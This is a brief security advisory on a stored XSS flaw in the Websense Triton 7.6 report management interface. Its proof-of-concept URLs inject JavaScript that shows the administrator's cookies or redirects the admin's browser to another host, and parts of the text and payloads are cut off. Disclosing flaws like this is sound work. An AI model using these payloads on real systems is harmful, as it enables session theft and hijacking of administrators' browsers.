Description  
===========  
Websense (Triton 7.6) stored XSS in report management UI  
  
Websense is one of the world's best known web-filter products.  
  
Websense (Triton 7.6) is prone to stored XSS in the report management UI enabling an attacker run arbitrary javasript in the context of the administrators browser and the Websense administrative UI.  
  
The exploit would require an attacker to:

- when an admin view the page the Javascript is executed

IV. PROOF OF CONCEPT  
-------------------------  
Affected URL:  
  
https://192.168.233.30:9443/explorer_wse/favorites.exe  
(though I believe there may be other affected URLs)  
  
Examples:  
  
Alert pop-up containing the cookies  
  
https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&params=startDate=2011-10-29^endDate=2011-10-

Arbitrary redirect  
  
https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&params=startDate=2011-10-29^endDate=2011-10-

%22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3bdocument.location%20%3d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%33%33%2e%31%31%2findex2.html  
%22%3b//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-29&vrn=  
  
In these cases when and administrator subsequently runs a report, the javascript is executed. There are other ways to execute Javascript when the page is initially loaded (but I thought this was a good example).
